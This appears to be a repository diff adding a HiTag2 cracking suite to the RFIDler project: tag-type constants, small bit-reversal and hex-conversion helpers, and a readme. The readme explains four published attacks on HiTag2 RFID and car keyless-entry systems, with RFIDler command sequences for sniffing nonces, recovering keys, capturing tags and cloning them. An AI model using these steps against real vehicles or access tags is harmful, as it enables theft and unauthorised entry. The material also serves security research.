// modulation modes - uppdate ModulationSchemes[] in tags.c if you change this
|
||||
#define MOD_MODE_NONE 0
|
||||
#define MOD_MODE_ASK_OOK 1
|
||||
#define MOD_MODE_FSK1 2
|
||||
#define MOD_MODE_FSK2 3
|
||||
#define MOD_MODE_PSK1 4
|
||||
#define MOD_MODE_PSK2 5
|
||||
#define MOD_MODE_PSK3 6
|
||||
|
||||
// TAG types - update TagTypes[] in tags.c if you add to this list
|
||||
#define TAG_TYPE_NONE 0
|
||||
#define TAG_TYPE_ASK_RAW 1
|
||||
#define TAG_TYPE_FSK1_RAW 2
|
||||
#define TAG_TYPE_FSK2_RAW 3
|
||||
#define TAG_TYPE_PSK1_RAW 4
|
||||
#define TAG_TYPE_PSK2_RAW 5
|
||||
#define TAG_TYPE_PSK3_RAW 6
|
||||
#define TAG_TYPE_HITAG1 7
|
||||
#define TAG_TYPE_HITAG2 8
|
||||
#define TAG_TYPE_EM4X02 9
|
||||
#define TAG_TYPE_Q5 10
|
||||
#define TAG_TYPE_HID_26 11
|
||||
#define TAG_TYPE_INDALA_64 12
|
||||
#define TAG_TYPE_INDALA_224 13
|
||||
#define TAG_TYPE_UNIQUE 14
|
||||
#define TAG_TYPE_FDXB 15
|
||||
#define TAG_TYPE_T55X7 16 // same as Q5 but different timings and no modulation-defeat
|
||||
#define TAG_TYPE_AWID_26 17
|
||||
#define TAG_TYPE_EM4X05 18
|
||||
#define TAG_TYPE_TAMAGOTCHI 19
|
||||
#define TAG_TYPE_HDX 20 // same underlying data as FDX-B, but different modulation & telegram
|
||||
|
||||
// various
|
||||
|
||||
#define BINARY 0
|
||||
#define HEX 1
|
||||
|
||||
#define NO_ADDRESS -1
|
||||
|
||||
#define ACK TRUE
|
||||
#define NO_ACK FALSE
|
||||
|
||||
#define BLOCK TRUE
|
||||
#define NO_BLOCK FALSE
|
||||
|
||||
#define DATA TRUE
|
||||
#define NO_DATA FALSE
|
||||
|
||||
#define DEBUG_PIN_ON HIGH
|
||||
#define DEBUG_PIN_OFF LOW
|
||||
|
||||
#define FAST FALSE
|
||||
#define SLOW TRUE
|
||||
|
||||
#define NO_TRIGGER 0
|
||||
|
||||
#define LOCK TRUE
|
||||
#define NO_LOCK FALSE
|
||||
|
||||
#define NFC_MODE TRUE
|
||||
#define NO_NFC_MODE FALSE
|
||||
|
||||
#define ONESHOT_READ TRUE
|
||||
#define NO_ONESHOT_READ FALSE
|
||||
|
||||
#define RESET TRUE
|
||||
#define NO_RESET FALSE
|
||||
|
||||
#define SHUTDOWN_CLOCK TRUE
|
||||
#define NO_SHUTDOWN_CLOCK FALSE
|
||||
|
||||
#define SYNC TRUE
|
||||
#define NO_SYNC FALSE
|
||||
|
||||
#define VERIFY TRUE
|
||||
#define NO_VERIFY FALSE
|
||||
|
||||
#define VOLATILE FALSE
|
||||
#define NON_VOLATILE TRUE
|
||||
|
||||
#define NEWLINE TRUE
|
||||
#define NO_NEWLINE FALSE
|
||||
|
||||
#define WAIT TRUE
|
||||
#define NO_WAIT FALSE
|
||||
|
||||
#define WIPER_HIGH 0
|
||||
#define WIPER_LOW 1
|
||||
|
||||
// conversion for time to ticks
|
||||
#define US_TO_TICKS 1000000L
|
||||
#define US_OVER_10_TO_TICKS 10000000L
|
||||
#define US_OVER_100_TO_TICKS 100000000L
|
||||
// we can't get down to this level on pic, but we want to standardise on timings, so for now we fudge it
|
||||
#define CONVERT_TO_TICKS(x) ((x / 10) * (GetSystemClock() / US_OVER_10_TO_TICKS))
|
||||
#define CONVERT_TICKS_TO_US(x) (x / (GetSystemClock() / US_TO_TICKS))
|
||||
#define TIMER5_PRESCALER 16
|
||||
#define MAX_TIMER5_TICKS (65535 * TIMER5_PRESCALER)
|
||||
|
||||
// other conversions
|
||||
|
||||
// bits to hex digits
|
||||
#define HEXDIGITS(x) (x / 4)
|
||||
#define HEXTOBITS(x) (x * 4)
|
147
tools/hitag2crack/crack4/util.h
Normal file
147
tools/hitag2crack/crack4/util.h
Normal file
|
@ -0,0 +1,147 @@
|
|||
/***************************************************************************
|
||||
* A copy of the GNU GPL is appended to this file. *
|
||||
* *
|
||||
* This licence is based on the nmap licence, and we express our gratitude *
|
||||
* for the work that went into producing it. There is no other connection *
|
||||
* between RFIDler and nmap either expressed or implied. *
|
||||
* *
|
||||
********************** IMPORTANT RFIDler LICENSE TERMS ********************
|
||||
* *
|
||||
* *
|
||||
* All references to RFIDler herein imply all it's derivatives, namely: *
|
||||
* *
|
||||
* o RFIDler-LF Standard *
|
||||
* o RFIDler-LF Lite *
|
||||
* o RFIDler-LF Nekkid *
|
||||
* *
|
||||
* *
|
||||
* RFIDler is (C) 2013-2015 Aperture Labs Ltd. *
|
||||
* *
|
||||
* This program is free software; you may redistribute and/or modify it *
|
||||
* under the terms of the GNU General Public License as published by the *
|
||||
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
|
||||
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
|
||||
* right to use, modify, and redistribute this software under certain *
|
||||
* conditions. If you wish to embed RFIDler technology into proprietary *
|
||||
* software or hardware, we sell alternative licenses *
|
||||
* (contact sales@aperturelabs.com). *
|
||||
* *
|
||||
* Note that the GPL places important restrictions on "derivative works", *
|
||||
* yet it does not provide a detailed definition of that term. To avoid *
|
||||
* misunderstandings, we interpret that term as broadly as copyright law *
|
||||
* allows. For example, we consider an application to constitute a *
|
||||
* derivative work for the purpose of this license if it does any of the *
|
||||
* following with any software or content covered by this license *
|
||||
* ("Covered Software"): *
|
||||
* *
|
||||
* o Integrates source code from Covered Software. *
|
||||
* *
|
||||
* o Is designed specifically to execute Covered Software and parse the *
|
||||
* results (as opposed to typical shell or execution-menu apps, which will *
|
||||
* execute anything you tell them to). *
|
||||
* *
|
||||
* o Includes Covered Software in a proprietary executable installer. The *
|
||||
* installers produced by InstallShield are an example of this. Including *
|
||||
* RFIDler with other software in compressed or archival form does not *
|
||||
* trigger this provision, provided appropriate open source decompression *
|
||||
* or de-archiving software is widely available for no charge. For the *
|
||||
* purposes of this license, an installer is considered to include Covered *
|
||||
* Software even if it actually retrieves a copy of Covered Software from *
|
||||
* another source during runtime (such as by downloading it from the *
|
||||
* Internet). *
|
||||
* *
|
||||
* o Links (statically or dynamically) to a library which does any of the *
|
||||
* above. *
|
||||
* *
|
||||
* o Executes a helper program, module, or script to do any of the above. *
|
||||
* *
|
||||
* This list is not exclusive, but is meant to clarify our interpretation *
|
||||
* of derived works with some common examples. Other people may interpret *
|
||||
* the plain GPL differently, so we consider this a special exception to *
|
||||
* the GPL that we apply to Covered Software. Works which meet any of *
|
||||
* these conditions must conform to all of the terms of this license, *
|
||||
* particularly including the GPL Section 3 requirements of providing *
|
||||
* source code and allowing free redistribution of the work as a whole. *
|
||||
* *
|
||||
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
|
||||
* permission to link the code of this program with any version of the *
|
||||
* OpenSSL library which is distributed under a license identical to that *
|
||||
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
|
||||
* linked combinations including the two. *
|
||||
* *
|
||||
* Any redistribution of Covered Software, including any derived works, *
|
||||
* must obey and carry forward all of the terms of this license, including *
|
||||
* obeying all GPL rules and restrictions. For example, source code of *
|
||||
* the whole work must be provided and free redistribution must be *
|
||||
* allowed. All GPL references to "this License", are to be treated as *
|
||||
* including the terms and conditions of this license text as well. *
|
||||
* *
|
||||
* Because this license imposes special exceptions to the GPL, Covered *
|
||||
* Work may not be combined (even as part of a larger work) with plain GPL *
|
||||
* software. The terms, conditions, and exceptions of this license must *
|
||||
* be included as well. This license is incompatible with some other open *
|
||||
* source licenses as well. In some cases we can relicense portions of *
|
||||
* RFIDler or grant special permissions to use it in other open source *
|
||||
* software. Please contact sales@aperturelabs.com with any such requests.*
|
||||
* Similarly, we don't incorporate incompatible open source software into *
|
||||
* Covered Software without special permission from the copyright holders. *
|
||||
* *
|
||||
* If you have any questions about the licensing restrictions on using *
|
||||
* RFIDler in other works, are happy to help. As mentioned above, we also *
|
||||
* offer alternative license to integrate RFIDler into proprietary *
|
||||
* applications and appliances. These contracts have been sold to dozens *
|
||||
* of software vendors, and generally include a perpetual license as well *
|
||||
* as providing for priority support and updates. They also fund the *
|
||||
* continued development of RFIDler. Please email sales@aperturelabs.com *
|
||||
* for further information. *
|
||||
* If you have received a written license agreement or contract for *
|
||||
* Covered Software stating terms other than these, you may choose to use *
|
||||
* and redistribute Covered Software under those terms instead of these. *
|
||||
* *
|
||||
* Source is provided to this software because we believe users have a *
|
||||
* right to know exactly what a program is going to do before they run it. *
|
||||
* This also allows you to audit the software for security holes (none *
|
||||
* have been found so far). *
|
||||
* *
|
||||
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
|
||||
* and add new features. You are highly encouraged to send your changes *
|
||||
* to the RFIDler mailing list for possible incorporation into the *
|
||||
* main distribution. By sending these changes to Aperture Labs Ltd. or *
|
||||
* one of the Aperture Labs Ltd. development mailing lists, or checking *
|
||||
* them into the RFIDler source code repository, it is understood (unless *
|
||||
* you specify otherwise) that you are offering the RFIDler Project *
|
||||
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
|
||||
* modify, and relicense the code. RFIDler will always be available Open *
|
||||
* Source, but this is important because the inability to relicense code *
|
||||
* has caused devastating problems for other Free Software projects (such *
|
||||
* as KDE and NASM). We also occasionally relicense the code to third *
|
||||
* parties as discussed above. If you wish to specify special license *
|
||||
* conditions of your contributions, just say so when you send them. *
|
||||
* *
|
||||
* This program is distributed in the hope that it will be useful, but *
|
||||
* WITHOUT ANY WARRANTY; without even the implied warranty of *
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
|
||||
* license file for more details (it's in a COPYING file included with *
|
||||
* RFIDler, and also available from *
|
||||
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
|
||||
* *
|
||||
***************************************************************************/
|
||||
|
||||
// Author: Adam Laurie <adam@aperturelabs.com>
|
||||
|
||||
/*
|
||||
* Hitag Crypto support macros
|
||||
* These macros reverse the bit order in a byte, or *within* each byte of a
|
||||
* 16 , 32 or 64 bit unsigned integer. (Not across the whole 16 etc bits.)
|
||||
*/
|
||||
#define rev8(X) ((((X) >> 7) &1) + (((X) >> 5) &2) + (((X) >> 3) &4) \
|
||||
+ (((X) >> 1) &8) + (((X) << 1) &16) + (((X) << 3) &32) \
|
||||
+ (((X) << 5) &64) + (((X) << 7) &128) )
|
||||
#define rev16(X) (rev8 (X) + (rev8 (X >> 8) << 8))
|
||||
#define rev32(X) (rev16(X) + (rev16(X >> 16) << 16))
|
||||
#define rev64(X) (rev32(X) + (rev32(X >> 32) << 32))
|
||||
|
||||
|
||||
unsigned long hexreversetoulong(BYTE *hex);
|
||||
unsigned long long hexreversetoulonglong(BYTE *hex);
|
||||
|
183
tools/hitag2crack/crack4/utilpart.c
Normal file
183
tools/hitag2crack/crack4/utilpart.c
Normal file
|
@ -0,0 +1,183 @@
|
|||
/***************************************************************************
|
||||
* A copy of the GNU GPL is appended to this file. *
|
||||
* *
|
||||
* This licence is based on the nmap licence, and we express our gratitude *
|
||||
* for the work that went into producing it. There is no other connection *
|
||||
* between RFIDler and nmap either expressed or implied. *
|
||||
* *
|
||||
********************** IMPORTANT RFIDler LICENSE TERMS ********************
|
||||
* *
|
||||
* *
|
||||
* All references to RFIDler herein imply all it's derivatives, namely: *
|
||||
* *
|
||||
* o RFIDler-LF Standard *
|
||||
* o RFIDler-LF Lite *
|
||||
* o RFIDler-LF Nekkid *
|
||||
* *
|
||||
* *
|
||||
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
|
||||
* *
|
||||
* This program is free software; you may redistribute and/or modify it *
|
||||
* under the terms of the GNU General Public License as published by the *
|
||||
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
|
||||
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
|
||||
* right to use, modify, and redistribute this software under certain *
|
||||
* conditions. If you wish to embed RFIDler technology into proprietary *
|
||||
* software or hardware, we sell alternative licenses *
|
||||
* (contact sales@aperturelabs.com). *
|
||||
* *
|
||||
* Note that the GPL places important restrictions on "derivative works", *
|
||||
* yet it does not provide a detailed definition of that term. To avoid *
|
||||
* misunderstandings, we interpret that term as broadly as copyright law *
|
||||
* allows. For example, we consider an application to constitute a *
|
||||
* derivative work for the purpose of this license if it does any of the *
|
||||
* following with any software or content covered by this license *
|
||||
* ("Covered Software"): *
|
||||
* *
|
||||
* o Integrates source code from Covered Software. *
|
||||
* *
|
||||
* o Is designed specifically to execute Covered Software and parse the *
|
||||
* results (as opposed to typical shell or execution-menu apps, which will *
|
||||
* execute anything you tell them to). *
|
||||
* *
|
||||
* o Includes Covered Software in a proprietary executable installer. The *
|
||||
* installers produced by InstallShield are an example of this. Including *
|
||||
* RFIDler with other software in compressed or archival form does not *
|
||||
* trigger this provision, provided appropriate open source decompression *
|
||||
* or de-archiving software is widely available for no charge. For the *
|
||||
* purposes of this license, an installer is considered to include Covered *
|
||||
* Software even if it actually retrieves a copy of Covered Software from *
|
||||
* another source during runtime (such as by downloading it from the *
|
||||
* Internet). *
|
||||
* *
|
||||
* o Links (statically or dynamically) to a library which does any of the *
|
||||
* above. *
|
||||
* *
|
||||
* o Executes a helper program, module, or script to do any of the above. *
|
||||
* *
|
||||
* This list is not exclusive, but is meant to clarify our interpretation *
|
||||
* of derived works with some common examples. Other people may interpret *
|
||||
* the plain GPL differently, so we consider this a special exception to *
|
||||
* the GPL that we apply to Covered Software. Works which meet any of *
|
||||
* these conditions must conform to all of the terms of this license, *
|
||||
* particularly including the GPL Section 3 requirements of providing *
|
||||
* source code and allowing free redistribution of the work as a whole. *
|
||||
* *
|
||||
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
|
||||
* permission to link the code of this program with any version of the *
|
||||
* OpenSSL library which is distributed under a license identical to that *
|
||||
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
|
||||
* linked combinations including the two. *
|
||||
* *
|
||||
* Any redistribution of Covered Software, including any derived works, *
|
||||
* must obey and carry forward all of the terms of this license, including *
|
||||
* obeying all GPL rules and restrictions. For example, source code of *
|
||||
* the whole work must be provided and free redistribution must be *
|
||||
* allowed. All GPL references to "this License", are to be treated as *
|
||||
* including the terms and conditions of this license text as well. *
|
||||
* *
|
||||
* Because this license imposes special exceptions to the GPL, Covered *
|
||||
* Work may not be combined (even as part of a larger work) with plain GPL *
|
||||
* software. The terms, conditions, and exceptions of this license must *
|
||||
* be included as well. This license is incompatible with some other open *
|
||||
* source licenses as well. In some cases we can relicense portions of *
|
||||
* RFIDler or grant special permissions to use it in other open source *
|
||||
* software. Please contact sales@aperturelabs.com with any such requests.*
|
||||
* Similarly, we don't incorporate incompatible open source software into *
|
||||
* Covered Software without special permission from the copyright holders. *
|
||||
* *
|
||||
* If you have any questions about the licensing restrictions on using *
|
||||
* RFIDler in other works, are happy to help. As mentioned above, we also *
|
||||
* offer alternative license to integrate RFIDler into proprietary *
|
||||
* applications and appliances. These contracts have been sold to dozens *
|
||||
* of software vendors, and generally include a perpetual license as well *
|
||||
* as providing for priority support and updates. They also fund the *
|
||||
* continued development of RFIDler. Please email sales@aperturelabs.com *
|
||||
* for further information. *
|
||||
* If you have received a written license agreement or contract for *
|
||||
* Covered Software stating terms other than these, you may choose to use *
|
||||
* and redistribute Covered Software under those terms instead of these. *
|
||||
* *
|
||||
* Source is provided to this software because we believe users have a *
|
||||
* right to know exactly what a program is going to do before they run it. *
|
||||
* This also allows you to audit the software for security holes (none *
|
||||
* have been found so far). *
|
||||
* *
|
||||
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
|
||||
* and add new features. You are highly encouraged to send your changes *
|
||||
* to the RFIDler mailing list for possible incorporation into the *
|
||||
* main distribution. By sending these changes to Aperture Labs Ltd. or *
|
||||
* one of the Aperture Labs Ltd. development mailing lists, or checking *
|
||||
* them into the RFIDler source code repository, it is understood (unless *
|
||||
* you specify otherwise) that you are offering the RFIDler Project *
|
||||
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
|
||||
* modify, and relicense the code. RFIDler will always be available Open *
|
||||
* Source, but this is important because the inability to relicense code *
|
||||
* has caused devastating problems for other Free Software projects (such *
|
||||
* as KDE and NASM). We also occasionally relicense the code to third *
|
||||
* parties as discussed above. If you wish to specify special license *
|
||||
* conditions of your contributions, just say so when you send them. *
|
||||
* *
|
||||
* This program is distributed in the hope that it will be useful, but *
|
||||
* WITHOUT ANY WARRANTY; without even the implied warranty of *
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
|
||||
* license file for more details (it's in a COPYING file included with *
|
||||
* RFIDler, and also available from *
|
||||
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
|
||||
* *
|
||||
***************************************************************************/
|
||||
|
||||
// Author: Adam Laurie <adam@aperturelabs.com>
|
||||
|
||||
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
#include "HardwareProfile.h"
|
||||
#include "util.h"
|
||||
#include "rfidler.h"
|
||||
//#include "comms.h"
|
||||
|
||||
// rtc
|
||||
rtccTime RTC_time; // time structure
|
||||
rtccDate RTC_date; // date structure
|
||||
|
||||
// convert byte-reversed 8 digit hex to unsigned long
|
||||
unsigned long hexreversetoulong(BYTE *hex)
|
||||
{
|
||||
unsigned long ret= 0L;
|
||||
unsigned int x;
|
||||
BYTE i;
|
||||
|
||||
if(strlen(hex) != 8)
|
||||
return 0L;
|
||||
|
||||
for(i= 0 ; i < 4 ; ++i)
|
||||
{
|
||||
if(sscanf(hex, "%2X", &x) != 1)
|
||||
return 0L;
|
||||
ret += ((unsigned long) x) << i * 8;
|
||||
hex += 2;
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
|
||||
// convert byte-reversed 12 digit hex to unsigned long
|
||||
unsigned long long hexreversetoulonglong(BYTE *hex)
|
||||
{
|
||||
unsigned long long ret= 0LL;
|
||||
BYTE tmp[9];
|
||||
|
||||
// this may seem an odd way to do it, but weird compiler issues were
|
||||
// breaking direct conversion!
|
||||
|
||||
tmp[8]= '\0';
|
||||
memset(tmp + 4, '0', 4);
|
||||
memcpy(tmp, hex + 8, 4);
|
||||
ret= hexreversetoulong(tmp);
|
||||
ret <<= 32;
|
||||
memcpy(tmp, hex, 8);
|
||||
ret += hexreversetoulong(tmp);
|
||||
return ret;
|
||||
}
|
||||
|
||||
|
206
tools/hitag2crack/readme.md
Normal file
206
tools/hitag2crack/readme.md
Normal file
|
@ -0,0 +1,206 @@
|
|||
HiTag2 Cracking Suite
|
||||
---------------------
|
||||
|
||||
Author: Kevin Sheldrake <kev@headhacking.com>
|
||||
|
||||
Introduction
|
||||
------------
|
||||
|
||||
These tools are implementations of the four attacks detailed in the papers,
|
||||
Gone In 360 Seconds - Hijacking With HiTag 2 by Roel Verdult, Flavio Garcia
|
||||
and Josep Balasch, and Lock It And Still Lose It - on the (In)Security of
|
||||
Automotive Remote Keyless Entry Systems by Flavio Garcia, David Oswald,
|
||||
Timo Kasper and Pierre Pavlides. The first three attacks come from the first
|
||||
paper and the fourth attack comes from the second paper.
|
||||
|
||||
Attack 1
|
||||
--------
|
||||
|
||||
Attack 1 is a nonce replay and length extension attack. This is an attack on
|
||||
a single HiTag2 RFID tag, given a single encrypted nonce and challenge
|
||||
response value pair (nR, aR) for the tag's UID. The attack runs entirely on
|
||||
the RFIDler with it acting like a RWD that replays the same encrypted nonce
|
||||
and challenge response pair for every interaction; this fixes the key stream
|
||||
that the tag's PRNG outputs to the same stream for every interaction.
|
||||
|
||||
By brute forcing a subset of the encrypted command space, the RFIDler finds a
|
||||
single valid encrypted command - invalid commands return a known unencrypted
|
||||
error response so finding a valid one is simply a case of trying different
|
||||
values until a response other than the error response is received.
|
||||
|
||||
It then bit flips the valid encrypted command to find the other 15 valid
|
||||
encrypted commands. By knowing the contents of page 0 - it's the UID that
|
||||
is presented in clear at the start of each interaction - it tries each
|
||||
encrypyted response in turn, assuming each to be the encrypted version of
|
||||
'read page 0 non-inverted' and each response to be the encrypted version of
|
||||
page 0.
|
||||
|
||||
For each attempted command, it calculates the key stream that would have
|
||||
correctly generated the encrypted command and response:
|
||||
command ++ response XOR key stream = encrypted command ++ encrypted response
|
||||
therefore:
|
||||
key stream = command ++ response XOR encrypted command ++ encrypted response
|
||||
|
||||
It then tests the potentially recovered key stream by creating an encrypted
|
||||
command that consumes as much of it as possible, re-initialising with the same
|
||||
encrypyted nonce and challenge response pair (to set the key stream to the
|
||||
same stream as that which produced the encrypted command response it is
|
||||
testing), and then sending this extended encrypted command. If the response
|
||||
is not the error response, then the key stream is valid and the response is
|
||||
the encryption of the page 0 contents (the UID).
|
||||
|
||||
When one of the valid encrypted commands satisfies this situation, the
|
||||
recovered key stream must be the output of the PRNG for the given encrypted
|
||||
nonce and challenge response pair.
|
||||
|
||||
The RFIDler then uses this key stream to encrypt commands and decrypt the
|
||||
responses, and therefore requests the contents of all 8 pages. Pages 1 and 2
|
||||
contain the encryption key.
|
||||
|
||||
Attack 2
|
||||
--------
|
||||
|
||||
Attack 2 is a time/space trade off to recover the key for situations where the
|
||||
tag has been configured to prevent reading of pages 1 and 2. This attack uses
|
||||
a pre-computed table of 2^37 PRNG states and resultant PRNG output, sorted on
|
||||
the PRNG output. The RFIDler is used to recover 2048 bits of key stream using
|
||||
a modification of attack 1 and this is used to search the table for matching
|
||||
PRNG output. When the output is found, it is tested for validity (by testing
|
||||
previous or following PRNG output) and then the PRNG state is rolled back to
|
||||
the initialisation state, from which the unecrypted nonce and key can be
|
||||
recovered.
|
||||
|
||||
Attack 3
|
||||
--------
|
||||
|
||||
Attack 3 is a cryptanalytic attack that focuses on the RWD and a bias in the
|
||||
PRNG output. By capturing 136 encrypted nonce and challenge response pairs,
|
||||
candidates for the first 34 bits of the key can be identified, and for each
|
||||
the remaining 14 bits can be brute forced.
|
||||
|
||||
Attack 4
|
||||
--------
|
||||
|
||||
Attack 4 is a fast correlative attack on the key based on a number of captured
|
||||
encrypted nonce and challenge response pairs (up to 32, but 16 usually
|
||||
sufficient). It starts by guessing the first 16 bits of the key and scores
|
||||
all these guesses against how likely they are to be the correct key, given the
|
||||
encrypted nonces and the keystream they should produce. Each guess is then
|
||||
expanded by 1 bit and the process iterates, with only the best guesses taken
|
||||
forward to the next iteration.
|
||||
|
||||
Usage details
|
||||
-------------
|
||||
|
||||
Attack 1 requires a valid tag and a valid encrypted nonce and challenge
|
||||
response pair. The attacker needs to obtain a valid tag and then use this to
|
||||
obtain a valid encrypted nonce and challenge response pair. This can be
|
||||
acheived by using the RFIDler 'SNIFF-PWM S' command (having previously cleared
|
||||
the nonce storage with 'SNIFF-PWM C'), placing the coil on the RWD and
|
||||
presenting the valid tag. The encrypted nonce and challenge response pairs
|
||||
can then be read out with the 'SNIFF-PWM L' command. These values can then
|
||||
be used to attack the tag with 'HITAG2-CRACK <nR> <aR>'.
|
||||
|
||||
RFIDler: SET TAG HITAG2
|
||||
RFIDler: SNIFF-PWM C
|
||||
RFIDler: SNIFF-PWM S
|
||||
Capture encrypted nonce and challenge response pair (nR, aR).
|
||||
RFIDler: SET TAG HITAG2
|
||||
RFIDler: SNIFF-PWM L
|
||||
RFIDler: HITAG2-CRACK <nR> <aR>
|
||||
|
||||
Attack 2 requires the same resources as attack 1, plus a pre-computed table.
|
||||
The table can be generated on a disk with >1.5TB of storage, although it takes
|
||||
some time (allow a couple of days).
|
||||
./ht2crack2buildtable
|
||||
RFIDler: SET TAG HITAG2
|
||||
RFIDler: SNIFF-PWM C
|
||||
RFIDler: SNIFF-PWM S
|
||||
Capture encrypted nonce and challenge response pair (nR, aR).
|
||||
RFIDler: SET TAG HITAG2
|
||||
RFIDler: SNIFF-PWM L
|
||||
RFIDler: UID
|
||||
RFIDler: HITAG2-KEYSTREAM <nR> <aR>
|
||||
Copy/paste the key stream to a file.
|
||||
./ht2crack2search <key stream file> <tag UID> <nR>
|
||||
|
||||
Attack 3 requires only interaction with the RWD and does not require a valid
|
||||
tag, although it does require a HiTag2 tag that the RWD will initially respond
|
||||
to; e.g. you could potentially use any HiTag2 tag as long as the RWD starts
|
||||
the crypto handshake with it. It requires >=136 encrypted nonce and challenge
|
||||
response pairs for the same tag UID.
|
||||
|
||||
RFIDler: SET TAG HITAG2
|
||||
RFIDler: SNIFF-PWM C
|
||||
RFIDler: SNIFF-PWM S
|
||||
Capture >=136 encrypted nonce and challenge response pairs (nR, aR).
|
||||
RFIDler: SET TAG HITAG2
|
||||
RFIDler: SNIFF-PWM L
|
||||
RFIDler: UID
|
||||
Copy/paste the encrypted nonce and challenge response pairs into a file.
|
||||
./ht2crack3 <tag UID> <nR aR file>
|
||||
|
||||
Attack 4 requires the same information as attack 3, but only 16-32 encrypted
|
||||
nonce and challenge response pairs are required.
|
||||
./ht2crack4 -u <tag UID> -n <nR aR file> [-N <number of nonces to use>]
|
||||
[-t <table size>]
|
||||
|
||||
Start with -N 16 and -t 500000. If the attack fails to find the key, double
|
||||
the table size and try again, repeating if it still fails.
|
||||
|
||||
Once the key has been recovered using one of these attacks, the RFIDler can
|
||||
be configured to operate as a RWD and will capture tags using that key.
|
||||
RFIDler: SET TAG HITAG2
|
||||
RFIDler: HITAG2-READER <KEY>
|
||||
|
||||
Both the SNIFF-PWM and HITAG2-READER commands can be used as AUTORUN commands
|
||||
for when the RFIDler is powered from a USB power supply without interaction.
|
||||
|
||||
RFIDler: SET TAG HITAG2
|
||||
RFIDler: SNIFF-PWM C
|
||||
RFIDler: AUTORUN SNIFF-PWM S
|
||||
RFIDler: SAVE
|
||||
Capture encrypted nonce and challenge response pairs.
|
||||
RFIDler: SET TAG HITAG2
|
||||
RFIDler: SNIFF-PWM L
|
||||
|
||||
|
||||
RFIDler: SET TAG HITAG2
|
||||
RFIDler: HITAG2-CLEARSTOREDTAGS
|
||||
RFIDler: AUTORUN HITAG2-READER <KEY> S
|
||||
RFIDler: SAVE
|
||||
Capture tags.
|
||||
RFIDler: HITAG2-COUNTSTOREDTAGS
|
||||
RFIDler: HITAG2-LISTSTOREDTAGS [START] [END]
|
||||
|
||||
|
||||
Tags can be copied with standard RFIDler commands.
|
||||
|
||||
RFIDler: SET TAG HITAG2
|
||||
RFIDler: COPY
|
||||
RFIDler: VTAG
|
||||
Replace original tag with a blank tag.
|
||||
RFIDler: CLONE <blank tag password/key - defaults to 4d494b52>
|
||||
|
||||
OR:
|
||||
|
||||
RFIDler: SET TAG HITAG2
|
||||
RFIDler: SET VTAG HITAG2
|
||||
RFIDler: VWRITE 0 <page 0 contents>
|
||||
RFIDler: VWRITE 1 <page 1 contents>
|
||||
...
|
||||
RFIDler: VWRITE 7 <page 7 contents>
|
||||
RFIDler: VTAG
|
||||
Place blank tag on coil.
|
||||
RFIDler: CLONE <blank tag password/key - defaults to 4d494b52>
|
||||
|
||||
OR:
|
||||
|
||||
RFIDler: SET TAG HITAG2
|
||||
RFIDler: SET VTAG HITAG2
|
||||
RFIDler: VWRITE 0 <all 8 page contents with no spaces>
|
||||
RFIDler: VTAG
|
||||
Place blank tag on coil.
|
||||
RFIDler: CLONE <blank tag password/key - defaults to 4d494b52>
|
||||
|
||||
|
Loading…
Add table
Add a link
Reference in a new issue